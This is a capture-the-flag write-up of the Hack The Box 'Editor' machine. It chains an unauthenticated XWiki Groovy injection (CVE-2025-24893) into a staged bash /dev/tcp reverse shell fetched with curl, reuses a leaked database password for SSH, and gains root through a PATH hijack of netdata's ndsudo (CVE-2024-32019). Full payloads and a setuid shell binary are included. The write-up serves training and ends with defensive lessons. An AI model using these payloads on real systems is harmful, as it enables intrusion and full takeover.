~/writeups_
Hack The BoxEasyLinux

Editor

An XWiki instance on a hidden vhost is vulnerable to CVE-2025-24893, an unauthenticated Groovy injection in the SolrSearch endpoint, which is used to stage and run a reverse shell as the xwiki user. XWiki's hibernate.cfg.xml leaks a database password reused for SSH as oliver. oliver belongs to the netdata group, and the SUID ndsudo helper (CVE-2024-32019) resolves its target binaries through the untrusted PATH, so a PATH hijack runs an attacker-controlled binary as root.

TL;DR

Editor is an Easy-difficulty Linux machine centred on an XWiki instance exposed on the wiki.editor.htb vhost. The version in use is vulnerable to CVE-2025-24893, an unauthenticated remote code execution flaw in the SolrSearch endpoint that evaluates attacker-supplied XWiki syntax, allowing Groovy code injection. Because Groovy’s .execute() does not invoke a shell, we stage a reverse-shell script and run it, landing a shell as the xwiki user. XWiki’s hibernate.cfg.xml leaks a database password that is reused for SSH as oliver. oliver is a member of the netdata group, and the SUID ndsudo helper shipped with netdata is vulnerable to CVE-2024-32019: it locates its target executables through the user-controlled PATH, so a PATH hijack runs our own binary as root.

MachineOSDifficultyTarget IPPwnbox IP
EditorLinuxEasy10.129.80.1610.10.15.144

Enumeration

We start by finding the open ports with a fast scan, then run service and script detection against just those ports:

Terminal window
ports=$(nmap -p- --min-rate=1000 -T4 10.129.80.16 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -sC -sV -p$ports 10.129.80.16

The scan returns:

Terminal window
Starting Nmap 7.991 ( https://nmap.org ) at 2026-11-05 10:07 +0300
Nmap scan report for 10.129.80.16
Host is up (0.23s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editor.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
8080/tcp open http Jetty 10.0.20
| http-robots.txt: 50 disallowed entries (15 shown)
| /xwiki/bin/viewattachrev/ /xwiki/bin/viewrev/
| /xwiki/bin/pdf/ /xwiki/bin/edit/ /xwiki/bin/create/
| /xwiki/bin/inline/ /xwiki/bin/preview/ /xwiki/bin/save/
| /xwiki/bin/saveandcontinue/ /xwiki/bin/rollback/ /xwiki/bin/deleteversions/
| /xwiki/bin/cancel/ /xwiki/bin/delete/ /xwiki/bin/deletespace/
|_/xwiki/bin/undelete/
| http-methods:
|_ Potentially risky methods: PROPFIND LOCK UNLOCK
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Jetty(10.0.20)
| http-webdav-scan:
| Server Type: Jetty(10.0.20)
| Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, LOCK, UNLOCK
|_ WebDAV type: Unknown
|_http-title: Did not follow redirect to http://10.129.80.16:8080/xwiki
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.26 seconds

Three ports are open: SSH on 22, an nginx reverse proxy on 80 that redirects to editor.htb, and a Jetty server on 8080 hosting an /xwiki application.

Browsing to http://10.129.80.16 fails with a Server Not Found error, because the site redirects to the hostname editor.htb, which we have not mapped to the target yet:

IMG-Editor

We add the mapping to /etc/hosts:

Terminal window
echo "10.129.80.16 editor.htb" | sudo tee -a /etc/hosts

Reloading, the site now resolves and loads a corporate marketing page:

IMG-Editor-1

Finding the wiki vhost

Following the Docs link on the site triggers the same Server Not Found error — it points at a second hostname, wiki.editor.htb, which also needs a mapping:

Terminal window
echo "10.129.80.16 wiki.editor.htb" | sudo tee -a /etc/hosts

With that in place, http://wiki.editor.htb loads an XWiki instance:

IMG-Editor-2

The page footer discloses the exact product and version — XWiki Debian 15.10.8:

IMG-Editor-3

Searching for known issues in this version points to CVE-2025-24893.

Foothold

CVE-2025-24893 — unauthenticated Groovy injection

XWiki’s SolrSearch endpoint renders its text parameter as XWiki syntax without authentication. XWiki supports inline macros such as {{groovy}} ... {{/groovy}}, and the search page passes our input into the template engine, which happily evaluates any macro it finds. By supplying a text value that first breaks out of the surrounding markup (}}}) and then opens a Groovy macro, we get our code executed server-side.

The core of the payload is:

}}}{{async async=false}}{{groovy}}println("id".execute().text){{/groovy}}{{/async}}
  • }}} closes the macro context the parameter is embedded in, so what follows is parsed as top-level wiki syntax.
  • {{async async=false}} forces synchronous rendering so the output is returned in the response.
  • {{groovy}}...{{/groovy}} runs arbitrary Groovy on the server, and "id".execute().text runs a system command and captures its output.

A public PoC at a1baradi/Exploit automates this. Running it and pointing it at the wiki confirms code execution by reading /etc/passwd:

Terminal window
$ python3 CVE-2025-24893.py
================================================================================
Exploit Title: CVE-2025-24893 - XWiki Platform Remote Code Execution
Made By Al Baradi Joy
================================================================================
[?] Enter the target URL (without http/https): wiki.editor.htb/xwiki
[!] HTTPS not available, falling back to HTTP.
[✔] Target supports HTTP: http://wiki.editor.htb/xwiki
[+] Sending request to: http://wiki.editor.htb/xwiki/bin/get/Main/SolrSearch?media=rss&text=...
[✔] Exploit successful! Output received:
...root:x:0:0:root:/root:/bin/bash...
...tomcat:x:998:998:Apache Tomcat:/var/lib/tomcat:/usr/sbin/nologin...
...xwiki:x:997:997:XWiki:/var/lib/xwiki:/usr/sbin/nologin...
...oliver:x:1000:1000:...:/home/oliver:/bin/bash...

The /etc/passwd output already tells us the interactive accounts that matter: xwiki (the service we are about to land on) and oliver (a real user with /bin/bash).

Why the reverse shell has to be staged

The obvious next step is to put a reverse-shell one-liner straight into the Groovy payload — but it does not work, and understanding why is the key to this foothold.

Groovy’s "...".execute() calls Runtime.exec(), which splits the string on whitespace into a command and its arguments and runs that program directly — without a shell. There is no /bin/sh -c in the chain, so shell features like pipes (|), redirections (>&), and 0>&1 are never interpreted; they are passed as literal arguments to the first program, and the reverse shell never forms.

The fix is to let a real shell interpret those operators. We stage a script file on the target and then ask Groovy to run bash <script>, so bash — not Groovy — parses the redirections.

First, we create the script on our Pwnbox:

#!/bin/bash
bash -i >& /dev/tcp/10.10.15.144/9001 0>&1

We host it over HTTP:

Terminal window
python3 -m http.server 80

Then we use the injection to download it into a writable, world-accessible directory on the target (/dev/shm). The command we embed in the Groovy macro is just a curl, which has no shell metacharacters and so survives Runtime.exec() cleanly:

}}}{{async async=false}}{{groovy}}println("curl http://10.10.15.144/shell.sh -o /dev/shm/shell.sh".execute().text){{/groovy}}{{/async}}

After URL-encoding, the text query parameter becomes:

%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22curl%20http%3A%2F%2F10.10.15.144%2Fshell.sh%20-o%20%2Fdev%2Fshm%2Fshell.sh%22.execute%28%29.text%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D
Note

Sending the request from Burp Repeater makes this far easier: we can swap the embedded command between the curl (stage) and bash (execute) steps and let Burp handle the encoding, rather than re-encoding the whole text value by hand each time.

IMG-Editor-4

With the script staged, we start a listener:

Terminal window
nc -lvnp 9001

Then we change the embedded command to run the staged script — this time with bash, which does interpret the redirection in the script:

}}}{{async async=false}}{{groovy}}println("bash /dev/shm/shell.sh".execute().text){{/groovy}}{{/async}}

Again, after URL-encoding, the text query parameter becomes:

%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22bash%20%2Fdev%2Fshm%2Fshell.sh%22.execute%28%29.text%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D

Sending that request fires the callback and our listener catches a shell as xwiki:

Terminal window
$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.15.144] from (UNKNOWN) [10.129.80.16] 60064
bash: cannot set terminal process group (1133): Inappropriate ioctl for device
bash: no job control in this shell
xwiki@editor:/usr/lib/xwiki-jetty$

User

Database password in hibernate.cfg.xml

Enumerating the system, /home confirms the oliver account we saw in /etc/passwd, but it is not readable as xwiki. We turn to XWiki’s own configuration. XWiki stores its database connection settings — including a plaintext password — in /etc/xwiki/hibernate.cfg.xml:

Terminal window
xwiki@editor:/usr/lib/xwiki-jetty$ cat /etc/xwiki/hibernate.cfg.xml
...
<property name="hibernate.connection.url">jdbc:mysql://localhost/xwiki?useSSL=false&amp;connectionTimeZone=LOCAL&amp;allowPublicKeyRetrieval=true</property>
<property name="hibernate.connection.username">xwiki</property>
<property name="hibernate.connection.password">theEd1t0rTeam99</property>
<property name="hibernate.connection.driver_class">com.mysql.cj.jdbc.Driver</property>
...

This gives us a plaintext password, theEd1t0rTeam99.

Password reuse over SSH

Passwords are often reused across services and accounts, so we try the database password for SSH as oliver:

Terminal window
ssh oliver@editor.htb

With the password theEd1t0rTeam99, we get a shell as oliver and read the user flag:

Terminal window
oliver@editor:~$ cat user.txt
246*****************************

Privilege Escalation

We check oliver’s group memberships:

Terminal window
oliver@editor:~$ id
uid=1000(oliver) gid=1000(oliver) groups=1000(oliver),999(netdata)

Membership in netdata is unusual — it is the group for the netdata observability agent. We confirm the agent is installed and check its version:

Terminal window
oliver@editor:~$ /opt/netdata/bin/netdata -v
netdata v1.45.2

CVE-2024-32019 — PATH hijack of the SUID ndsudo helper

netdata v1.45.2 ships a privileged helper called ndsudo, which is vulnerable to CVE-2024-32019. We locate it:

Terminal window
find / -name ndsudo 2>/dev/null
Terminal window
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo

ndsudo exists so that netdata can run a fixed set of privileged disk-inspection commands (nvme, megacli, arcconf). Its --help lists them:

Terminal window
oliver@editor:/opt/netdata/usr/libexec/netdata/plugins.d$ ./ndsudo --help
...
- Command : nvme-list
Executables: nvme
Parameters : list --output-format=json
...
The program searches for executables in the system path.
...

The critical line is “The program searches for executables in the system path.” ndsudo is a SUID-root binary, but when asked to run nvme-list it looks up the nvme executable using the PATH environment variable rather than an absolute, trusted path. PATH is controlled by the calling user, and SUID programs do not reset it. So if we prepend a directory we control to PATH and place a malicious nvme there, ndsudo will find and execute our nvme — and because the helper is SUID root, it runs with root privileges.

We write a small binary that elevates to a root shell. The setuid(0)/setgid(0) calls drop the inherited privileges into a real root identity before spawning bash:

#include <unistd.h>
int main() {
setuid(0); setgid(0);
execl("/bin/bash", "bash", NULL);
return 0;
}

We compile it on the Pwnbox, naming the output nvme so it matches the executable ndsudo searches for:

Terminal window
gcc exploit.c -o nvme

Then copy it to the target with scp (authenticating with oliver’s password):

Terminal window
scp nvme oliver@editor.htb:/tmp

On the target, we put /tmp at the front of PATH so our nvme is found before any legitimate one:

Terminal window
export PATH=/tmp:$PATH

Finally we invoke the helper’s nvme-list command, which resolves nvme to our planted binary and runs it as root:

Terminal window
cd /opt/netdata/usr/libexec/netdata/plugins.d
./ndsudo nvme-list

This drops us into a root shell, from which we read the root flag:

Terminal window
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
********************************
Rooted

XWiki SolrSearch Groovy injection (CVE-2025-24893) staged into a reverse shell as xwiki → database password from hibernate.cfg.xml reused for SSH as oliver → PATH hijack of the SUID ndsudo helper (CVE-2024-32019) for a shell as root.

Lessons Learned

  • Patch internet-facing applications and don’t advertise versions. A version string in the XWiki footer led straight to a public, unauthenticated RCE. Keep web applications on supported, patched releases, and suppress version disclosure where you can.
  • Never render untrusted input as a template. CVE-2025-24893 exists because the SolrSearch endpoint evaluated user-supplied XWiki/Groovy syntax. User input must be treated as data, never passed to a template or script engine that can execute it.
  • Keep secrets out of world-readable config and don’t reuse them. A database password sitting in hibernate.cfg.xml became SSH access to a real user because it was reused. Use distinct credentials per service and restrict read access to files holding secrets.
  • SUID programs must use absolute paths and sanitise the environment. ndsudo trusting the caller’s PATH turned group membership into root. Privileged binaries should invoke helpers by absolute path and reset PATH/IFS; audit SUID binaries and strip the bit from anything that does not strictly need it.